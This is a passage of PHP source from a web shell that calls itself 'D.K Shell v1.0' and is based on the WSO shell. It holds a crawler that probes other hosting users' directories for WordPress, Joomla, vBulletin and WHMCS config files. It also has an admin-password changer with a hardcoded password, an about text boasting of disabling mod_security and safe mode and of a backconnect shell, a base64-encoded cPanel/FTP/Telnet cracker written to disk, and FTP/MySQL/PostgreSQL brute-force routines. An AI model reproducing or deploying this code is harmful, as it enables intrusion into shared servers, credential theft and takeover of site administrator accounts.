- echo "<br/><br/>The Password is <b>McK7jjBq</b> for the usernames given below ::<br/><br/>";
- echo "<b><a href=http://www.".$domain2.">".$row25['username']."</a></b> <br/>";
- }
- else
- {
- }
- }
- wsoFooter();
- }
- function actioncrawl() {
- wsoHeader();
- $IIIIIIIIIIIl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
- $IIIIIIIIIII1=explode('/',$IIIIIIIIIIIl );
- $IIIIIIIIIIIl =str_replace($IIIIIIIIIII1[count($IIIIIIIIIII1)-1],'',$IIIIIIIIIIIl );
- $isjoomla = "0";
- if(isset($_POST['p3']))
- {
- $domainn = $_POST['p3'];
- $userr = posix_getpwuid(@fileowner("/etc/valiases/".$domainn));
- echo "<table align='center' width='40%' class='main' ><tr><td> Results: </td></tr>";
- $IIIIIIIII1l1=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/wp-config.php';
- $IIIIIIIII11I=get_headers($IIIIIIIII1l1);
- $IIIIIIIII11l=$IIIIIIIII11I[0];
- $IIIIIIIII111=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/blog/wp-config.php';
- $IIIIIIIIlIII=get_headers($IIIIIIIII111);
- $IIIIIIIIlIIl=$IIIIIIIIlIII[0];
- $IIIIIIIIlII1=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/configuration.php';
- $IIIIIIIIlIlI=get_headers($IIIIIIIIlII1);
- $IIIIIIIIlIll=$IIIIIIIIlIlI[0];
- $IIIIIIIIlIl1=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/joomla/configuration.php';
- $IIIIIIIIlI1I=get_headers($IIIIIIIIlIl1);
- $IIIIIIIIlI1l=$IIIIIIIIlI1I[0];
- $IIIIIIIIlI11=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/includes/config.php';
- $IIIIIIIIllII=get_headers($IIIIIIIIlI11);
- $IIIIIIIIllIl=$IIIIIIIIllII[0];
- $IIIIIIIIllI1=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/vb/includes/config.php';
- $IIIIIIIIlllI=get_headers($IIIIIIIIllI1);
- $IIIIIIIIllll=$IIIIIIIIlllI[0];
- $IIIIIIIIlll1=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/forum/includes/config.php';
- $IIIIIIIIll1I=get_headers($IIIIIIIIlll1);
- $IIIIIIIIll1l=$IIIIIIIIll1I[0];
- $IIIIIIIIll11=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'public_html/clients/configuration.php';
- $IIIIIIIIl1II=get_headers($IIIIIIIIll11);
- $IIIIIIIIl1Il=$IIIIIIIIl1II[0];
- $IIIIIIIIl1I1=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/support/configuration.php';
- $IIIIIIIIl1II=get_headers($IIIIIIIIl1I1);
- $IIIIIIIIl1lI=$IIIIIIIIl1II[0];
- $IIIIIIIIl1ll=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/client/configuration.php';
- $IIIIIIIIl1l1=get_headers($IIIIIIIIl1ll);
- $IIIIIIIIl11I=$IIIIIIIIl1l1[0];
- $IIIIIIIIl11l=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/submitticket.php';
- $IIIIIIIIl111=get_headers($IIIIIIIIl11l);
- $IIIIIIII1III=$IIIIIIIIl111[0];
- $IIIIIIII1IIl=$IIIIIIIIIIIl.'/dk/root/home/'.$userr['name'].'/public_html/client/configuration.php';
- $IIIIIIII1II1=get_headers($IIIIIIII1IIl);
- $IIIIIIII1IlI=$IIIIIIII1II1[0];
- $IIIIIIII1Ill = strpos($IIIIIIIII11l,'200');
- $IIIIIIII1I1I=' ';
- if (strpos($IIIIIIIII11l,'200') == true )
- {
- $IIIIIIII1I1I="<td><a href='".$IIIIIIIII1l1."' target='_blank'>".$domainn." [Wordpress]</a></td>";
- $isjoomla = "wp";
- $thelink = $IIIIIIIII1l1;
- $domain2 = $domainn . '/wp-login.php';
- }
- elseif (strpos($IIIIIIIIlIIl,'200') == true)
- {
- $IIIIIIII1I1I="<td><a href='".$IIIIIIIII111."' target='_blank'>".$domainn." [Wordpress]</a></td>";
- $isjoomla = "wp";
- $thelink = $IIIIIIIII111;
- $domain2 = $domainn . '/blog/wp-login.php';
- }
- elseif (strpos($IIIIIIIIlIll,'200') == true and strpos($IIIIIIII1III,'200') == true )
- {
- $IIIIIIII1I1I="<td> <a href='".$IIIIIIIIl11l."' target='_blank'>".$domainn." [WHMCS]</a></td>";
- }
- elseif (strpos($IIIIIIIIl1lI,'200') == true)
- {
- $IIIIIIII1I1I ="<td> <a href='".$IIIIIIIIl1I1."' target='_blank'>".$domainn." [WHMCS]</a></td>";
- }
- elseif (strpos($IIIIIIIIl11I,'200') == true)
- {
- $IIIIIIII1I1I =" <td><a href='".$IIIIIIIIl1ll."' target='_blank'>".$domainn." [WHMCS]</a></td>";
- }
- elseif (strpos($IIIIIIIIlIll,'200') == true)
- {
- $IIIIIIII1I1I="<td> <a href='".$IIIIIIIIlII1."' target='_blank'>".$domainn." [Joomla]</a></td>";
- $isjoomla = "jm";
- $thelink = $IIIIIIIIlII1;
- $domain2 = $domainn . '/administrator/';
- }
- elseif (strpos($IIIIIIIIlI1l,'200') == true)
- {
- $IIIIIIII1I1I="<td> <a href='".$IIIIIIIIlIl1."' target='_blank'>".$domainn." [Joomla]</a></td>";
- $isjoomla = "jm";
- $thelink = $IIIIIIIIlIl1;
- $domain2 = $domainn . '/joomla/administrator/';
- }
- elseif (strpos($IIIIIIIIllIl,'200') == true)
- {
- $IIIIIIII1I1I="<td> <a href='".$IIIIIIIIlI11."' target='_blank'>".$domainn." [vBulletin]</a></td>";
- $isjoomla = "vb";
- $thelink = $IIIIIIIIlI11;
- $domain2 = $domainn;
- }
- elseif (strpos($IIIIIIIIllll,'200') == true)
- {
- $IIIIIIII1I1I="<td> <a href='".$IIIIIIIIllI1."' target='_blank'>".$domainn." [vBulletin]</a></td>";
- $isjoomla = "vb";
- $thelink = $IIIIIIIIllI1;
- $domain2 = $domainn;
- }
- elseif (strpos($IIIIIIIIll1l,'200') == true)
- {
- $IIIIIIII1I1I="<td> <a href='".$IIIIIIIIlll1."' target='_blank'>".$domainn." [vBulletin]</a></td>";
- $isjoomla = "vb";
- $thelink = $IIIIIIIIlll1;
- $domain2 = $domainn;
- }
- else
- {
- //continue;
- $IIIIIIII1I1l = $userr ;
- $IIIIIIII1I1I='<tr><td><a href=/dk/root/home/'.$userr['name'].'/public_html/>'.$domainn.'[Custom Website]</a></td><td></td></tr>';
- }
- echo $IIIIIIII1I1I;
- }
- echo "</center></table><br></br><br><br>";
- $saying = $thelink . '}' . $isjoomla . '}' . $domain2;
- if ($isjoomla == "wp" || $isjoomla == "vb" || $isjoomla == "jm")
- {
- echo '<center><h3><b><script>p1_=p2_=p3_="";</script><a href=# onclick="g(\'passchanger\',null,null,null,\''.$saying.'\')"> [Change Password] </a></b></center></h3>';
- }
- wsoFooter();
- }
- function actionabout() {
- wsoHeader();
- echo '<div class=header> ';
- echo "<pre>
-
- D.K Shell v1.0
-
-
- D.K Shell (c)oded by b47chguru & Lnx Root for ICF
-
- D.K shell is made on the same architecture of WSO shell. D.K shell is a professional web shell..
- It has all the features to bust the security..including disabling mod_security , disabling php safe mode,
- Symlink,webcrawler, auto-admin password changer for vbulletin,joomla,Wordpress...etc,
- perl cgi scipt compatibility and a better backconnection script.For any doubts or queries on D.K shell
- mail me at interestingpal@gmail.com
- Note:The security on the webserver is completely disabled when clicked on the 'safemode' link and the default port for php backconnection is 70
-
- Special Thanks to Archith Kp who helped generously throughout the project..!!
-
-
-
-
- </pre></div>";
- wsoFooter();
- }
- function actionBruteforce() {
- wsoHeader();
-
-
-
- $file = fopen($dir."dkcpanel.php" ,"w+");
- $sa=base64_decode('PD9waHANCiRjcGFuZWxfcG9ydD0iMjA4MiI7DQokY29ubmVjdF90aW1lb3V0PTU7DQpzZXRfdGltZV9saW1pdCgwKTsNCiRzdWJtaXQ9JF9SRVFVRVNUWydzdWJtaXQnXTsNCiR1c2Vycz0kX1JFUVVFU1RbJ3VzZXJzJ107DQokcGFzcz0kX1JFUVVFU1RbJ3Bhc3N3b3JkcyddOw0KJHRhcmdldD0kX1JFUVVFU1RbJ3RhcmdldCddOw0KJGNyYWNrdHlwZT0kX1JFUVVFU1RbJ2NyYWNrdHlwZSddOw0KaWYoJHRhcmdldCA9PSAiIil7DQokdGFyZ2V0ID0gImxvY2FsaG9zdCI7DQp9DQokY2hhcnNldD0kX1JFUVVFU1RbJ2NoYXJzZXQnXTsNCmlmKCRjaGFyc2V0PT0iIikNCiAkY2hhcnNldD0ibG93ZXJjYXNlIjsNCiRtYXhfbGVuZ3RoPSRfUkVRVUVTVFsnbWF4X2xlbmd0aCddOw0KaWYoJG1heF9sZW5ndGg9PSIiKQ0KICRtYXhfbGVuZ3RoPTEwOw0KJG1pbl9sZW5ndGg9JF9SRVFVRVNUWydtaW5fbGVuZ3RoJ107DQppZigkbWluX2xlbmd0aD09IiIpDQogJG1pbl9sZW5ndGg9MTsNCg0KICRjaGFyc2V0YWxsID0gYXJyYXkoImEiLCAiYiIsICJjIiwgImQiLCAiZSIsICJmIiwgImciLCAiaCIsICJpIiwgImoiLCAiayIsICJsIiwgIm0iLCAibiIsICJvIiwgInAiLCAicSIsICJyIiwgInMiLCAidCIsICJ1IiwgInYiLCAidyIsICJ4IiwgInkiLCAieiIsICJBIiwgIk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zcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgPC9mb250PjwvYj48L3A+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iNTclIiBib3JkZXJjb2xvcmxpZ2h0PSIjMDA4MDAwIiBib3JkZXJjb2xvcmRhcms9IiMwMDM3MDAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+PGI+VXNlciBMaXN0PC9iPjwvZm9udD48L3NwYW4+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGFsaWduPSJjZW50ZXIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gbGFuZz0iZW4tdXMiPjxmb250IGNvbG9yPSIjRkYwMDAwIj48Yj5QYXNzd29yZCBMaXN0PC9iPjwvZm9udD48L3NwYW4+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3Ry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ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGxhbmc9ImFyLXNhIj5HdWVzcyBvcHRpb25zPC9zcGFuPjwvZm9udD48Zm9udCBzdHlsZT0iZm9udC1zaXplOiAxMnB0OyIgc2l6ZT0iLTMiIGZhY2U9IlZlcmRhbmEiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6IDlwdDsiPiZuYnNwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgZmFjZT0iVGFob21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJjcmFja3R5cGUiIHZhbHVlPSJjcGFuZWwiIHN0eWxlPSJmb250LXdlaWdodDogNzAwOyIgY2hlY2tlZCB0eXBlPSJyYWRpbyI+PC9mb250Pjwvc3Bhbj48L2ZvbnQ+PGI+PGZvbnQgc2l6ZT0iMiIgZmFjZT0iVGFob21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENwYW5lbDwvZm9udD48Zm9udCBzaXplPSIyIiBjb2xvcj0iI2NjMDAwMCIgZmFjZT0iVGFob21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9udD48Zm9udCBzaXplPSIyIiBjb2xvcj0iI0ZGRkZGRiIgZmFjZT0iVGFob21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICgyMDgyKTwvZm9udD48L2I+PGZvbnQgc2l6ZT0iMiIgZmFjZT0iVGFob21hIj48Yj4gPC9iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImZvbnQtc2l6ZTogMTJwdDsiIHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDlwdDsiPjxmb250IGZhY2U9IlRhaG9tYSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0iY3JhY2t0eXBlIiB2YWx1ZT0iY3BhbmVsMiIgc3R5bGU9ImZvbnQtd2VpZ2h0OiA3MDA7IiB0eXBlPSJyYWRpbyI+PC9mb250Pjwvc3Bhbj48L2ZvbnQ+PGI+PGZvbnQgc2l6ZT0iMiIgZmFjZT0iVGFob21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFRlbG5ldDwvZm9udD48Zm9udCBzaXplPSIyIiBjb2xvcj0iI2NjMDAwMCIgZmFjZT0iVGFob21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9udD48Zm9udCBzaXplPSIyIiBjb2xvcj0iI0ZGRkZGRiIgZmFjZT0iVGFob21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICgyMyk8L2ZvbnQ+PC9iPjxmb250IHNpemU9IjIiIGZhY2U9IlRhaG9tYSI+PGI+IDwvYj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9udD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IHN0eWxlPSJmb250LXNpemU6IDEycHQ7IiBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iZm9udC1zaXplOiA5cHQ7Ij48Zm9udCBmYWNlPSJUYWhvbWEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9ImNyYWNrdHlwZSIgdmFsdWU9ImZ0cCIgc3R5bGU9ImZvbnQtd2VpZ2h0OiA3MDA7IiB0eXBlPSJyYWRpbyI+PC9mb250Pjwvc3Bhbj48L2ZvbnQ+PGZvbnQgc3R5bGU9ImZvbnQtd2VpZ2h0OiA3MDA7IiBzaXplPSIyIiBmYWNlPSJUYWhvbWEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250PjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogNzAwOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBzaXplPSIyIiBmYWNlPSJUYWhvbWEiPkZ0cCA8L2ZvbnQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBzaXplPSIyIiBjb2xvcj0iI0ZGRkZGRiIgZmFjZT0iVGFob21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICgyMSk8L2ZvbnQ+PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImZvbnQtd2VpZ2h0OjcwMCIgc2l6ZT0iMiIgZmFjZT0iVGFob21hIiBjb2xvcj0iIzAwODAwMCI+PHNwYW4gbGFuZz0iYXItc2EiPlRpbWVvdXQgZGVsYXk8L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29ubmVjdF90aW1lb3V0IiBzdHlsZT0iYm9yZGVyOiAycHggc29saWQgIzFEMUQxRDtiYWNrZ3JvdW5kOiBibGFjaztjb2xvcjpSRUQiIHNpemU9NDggdmFsdWU9Ijw/cGhwIGVjaG8gJGNvbm5lY3RfdGltZW91dDs/PiI+PC9pbnB1dD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iYnJ1dGVmb3JjZSIgdmFsdWU9InRydWUiPjxmb250IHN0eWxlPSJmb250LXdlaWdodDo3MDAiIHNpemU9IjIiIGZhY2U9IlRhaG9tYSIgY29sb3I9IiMwMDgwMDAiPjxzcGFuIGxhbmc9ImFyLXNhIj5CcnV0ZWZvcmNlPC9zcGFuPjwvaW5wdXQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IG5hbWU9ImNoYXJzZXQiIHN0eWxlPSJib3JkZXI6IDJweCBzb2xpZCAjMUQxRDFEO2JhY2tncm91bmQ6IGJsYWNrO2NvbG9yOlJFRCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iYWxsIj5BbGwgTGV0dGVycyArIE51bWJlcnM8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibnVtZXJpYyI+TnVtYmVyczwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9ImxldHRlcnMiPkxldHRlcnM8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJzeW1ib2xzIj5TeW1ib2xzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibG93ZXJjYXNlIj5Mb3dlciBMZXR0ZXJzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0idXBwZXJjYXNlIj5IaWdoZXIgTGV0dGVyczwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Imxvd2VybnVtZXJpYyI+TG93ZXIgTGV0dGVycyArIE51bWJlcnM8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJ1cHBlcm51bWVyaWMiPlVwcGVyIExldHRlcnMgKyBOdW1iZXJzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibG93ZXJzeW1ib2xzIj5Mb3dlciBMZXR0ZXJzICsgU3ltYm9sczwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InVwcGVyc3ltYm9scyI+VXBwZXIgTGV0dGVycyArIFN5bWJvbHM8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJsZXR0ZXJzc3ltYm9scyI+QWxsIExldHRlcnMgKyBTeW1ib2xzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibnVtYmVyc3N5bWJvbHMiPk51bWJlcnMgKyBTeW1ib2xzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibG93ZXJudW1lcmljc3ltYm9scyI+TG93ZXIgTGV0dGVycyArIE51bWJlcnMgKyBTeW1ib2xzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0idXBwZXJudW1lcmljc3ltYm9scyI+VXBwZXIgTGV0dGVycyArIE51bWJlcnMgKyBTeW1ib2xzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibGV0dGVyc251bWVyaWNzeW1ib2xzIj5BbGwgTGV0dGVycyArIE51bWJlcnMgKyBTeW1ib2xzPC9vcHRpb24+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImZvbnQtd2VpZ2h0OjcwMCIgc2l6ZT0iMiIgZmFjZT0iVGFob21hIiBjb2xvcj0iIzAwODAwMCI+PHNwYW4gbGFuZz0iYXItc2EiPk1pbiBCcnV0ZWZvcmNlIExlbmd0aDo8L3NwYW4+PC9mb250Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1pbl9sZW5ndGgiIHN0eWxlPSJib3JkZXI6IDJweCBzb2xpZCAjMUQxRDFEO2JhY2tncm91bmQ6IGJsYWNrO2NvbG9yOlJFRCIgc2l6ZT00OCB2YWx1ZT0iPD9waHAgZWNobyAkbWluX2xlbmd0aDs/PiI+PC9pbnB1dD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IHN0eWxlPSJmb250LXdlaWdodDo3MDAiIHNpemU9IjIiIGZhY2U9IlRhaG9tYSIgY29sb3I9IiMwMDgwMDAiPjxzcGFuIGxhbmc9ImFyLXNhIj5NYXggQnJ1dGVmb3JjZSBMZW5ndGg6PC9zcGFuPjwvZm9udD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtYXhfbGVuZ3RoIiBzdHlsZT0iYm9yZGVyOiAycHggc29saWQgIzFEMUQxRDtiYWNrZ3JvdW5kOiBibGFjaztjb2xvcjpSRUQiIHNpemU9NDggdmFsdWU9Ijw/cGhwIGVjaG8gJG1heF9sZW5ndGg7Pz4iPjwvaW5wdXQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3A+DQogICAgICAgIDxwIGFsaWduPSJjZW50ZXIiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iIG5hbWU9InN1Ym1pdCIgc3R5bGU9ImNvbG9yOiAjMDA4MDAwOyBmb250LXdlaWdodDogYm9sZDsgYm9yZGVyOiAxcHggc29saWQgIzMzMzMzMzsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMCI+PC9wPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICA8L3RhYmxlPg0KDQogICAgPHAgYWxpZ249ImNlbnRlciI+PC90ZD4NCiAgPC90cj4NCiAgPC9mb3JtPg0KDQo8P3BocA0KZnVuY3Rpb24gYnJ1dGUoKXsNCiAgICBnbG9iY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gfQ0KICAgICAgICB9DQogICAgICAgICRpLS07DQogICAgICAgICRpbmNEb25lID0gMDsNCiAgICAgICAgd2hpbGUgKCEkaW5jRG9uZSkgeyAgICANCiAgICAgICAgICAgIGZvciAoJGogPSAwOyAkaiA8ICRudW1WYWxzOyAkaisrKSB7DQogICAgICAgICAgICAgICAgaWYgKCRBWyRpXSA9PSAkdmFsc1skal0pIHsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKCRqID09ICgkbnVtVmFscyAtIDEpKSB7DQogICAgICAgICAgICAgICAgJEFbJGldID0gJHZhbHNbMF07DQogICAgICAgICAgICAgICAgJGktLTsNCiAgICAgICAgICAgICAgICBpZiAoJGkgPCAwKSB7DQogICAgICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICgkbWF4ICsgMSk7ICRpKyspIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkQVskaV0gPT0gLTEpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkQVskaV0gPSAkdmFsc1swXTsNCiAgICAgICAgICAgICAgICAgICAgJEFbJGkgKyAxXSA9IC0xOw0KICAgICAgICAgICAgICAgICAgICAkaW5jRG9uZSA9IDE7DQogICAgICAgICAgICAgICAgICAgIHByaW50ICJTdGFydGluZyAiIC4gKHN0cmxlbigkY3VycmVudFZhbCkgKyAxKSAuICIgQ2hhcmFjdGVycyBDcmFja2luZzxicj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJEFbJGldID0gJHZhbHNbJGogKyAxXTsNCiAgICAgICAgICAgICAgICAkaW5jRG9uZSA9IDE7DQogICAgICAgICAgICB9DQogICAgICAg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AgLy9lY2hvICRmMi4gIlxuIjsNCiAgICAgICAgICAgICAkZjIuPSIvIjsNCiAgICAgICAgICAgICAkZGgzPW9wZW5kaXIoJGRpci4kZi4kZjIpOw0KICAgICAgICAgICAgICRmMyA9IHJlYWRkaXIoJGRoMyk7JGYzID0gcmVhZGRpcigkZGgzKTsNCiAgICAgICAgICAgICB3aGlsZSAoKCRmMyA9IHJlYWRkaXIoJGRoMykpICE9PSBmYWxzZSkgDQogICAgICAgICAgICAgew0KICAgICAgICAgICAgICBlY2hvICRmMy4gIjxicj4iOw0KICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICB9DQogICAgICAgICAgICBjbG9zZWRpcigkZGgpOw0KICAgICB9DQogICAgfQ0KPz4g');
- $write = fwrite ($file ,$sa);
- fclose($file);
-
-
-
- if( isset($_POST['proto']) ) {
- echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
- if( $_POST['proto'] == 'ftp' ) {
- function bruteForce($ip,$port,$login,$pass) {
- $fp = @ftp_connect($ip, $port?$port:21);
- if(!$fp) return false;
- $res = @ftp_login($fp, $login, $pass);
- @ftp_close($fp);
- return $res;
- }
- } elseif( $_POST['proto'] == 'mysql' ) {
- function bruteForce($ip,$port,$login,$pass) {
- $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
- @mysql_close($res);
- return $res;
- }
- } elseif( $_POST['proto'] == 'pgsql' ) {
- function bruteForce($ip,$port,$login,$pass) {
- $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
- $res = @pg_connect($str);
- @pg_close($res);
- return $res;
- }
- }
- $success = 0;
- $attempts = 0;
